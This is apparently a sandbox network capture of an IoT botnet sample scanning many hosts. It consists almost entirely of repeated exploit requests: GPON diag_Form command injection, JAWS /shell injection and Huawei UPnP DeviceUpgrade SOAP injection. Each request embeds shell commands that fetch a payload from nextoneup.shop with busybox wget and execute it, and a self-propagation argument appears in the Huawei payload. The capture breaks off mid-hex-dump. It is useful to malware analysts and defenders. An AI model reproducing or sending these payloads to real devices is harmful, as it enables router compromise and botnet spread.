Apr 14, 2024 04:00:39.434494019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1329	192.168.2.23	44636	2.112.119.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.434535027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1330	192.168.2.23	46840	109.172.93.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.434603930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1331	192.168.2.23	40948	83.64.172.69	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.657078028 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.014605045 CEST	322	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 14 Apr 2024 02:00:39 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1332	192.168.2.23	55206	45.207.127.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.346847057 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.671051979 CEST	457	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Sun, 14 Apr 2024 02:00:17 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1333	192.168.2.23	57976	156.241.88.54	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.479367018 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:44.613739014 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:50.756912947 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:02.787168980 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:27.103684902 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1334	192.168.2.23	45712	135.148.197.169	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.550672054 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.776653051 CEST	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.4 Date: Sun, 14 Apr 2024 02:00:40 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1335	192.168.2.23	37088	141.94.246.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.631479025 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.938663960 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Sun, 14 Apr 2024 02:00:40 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 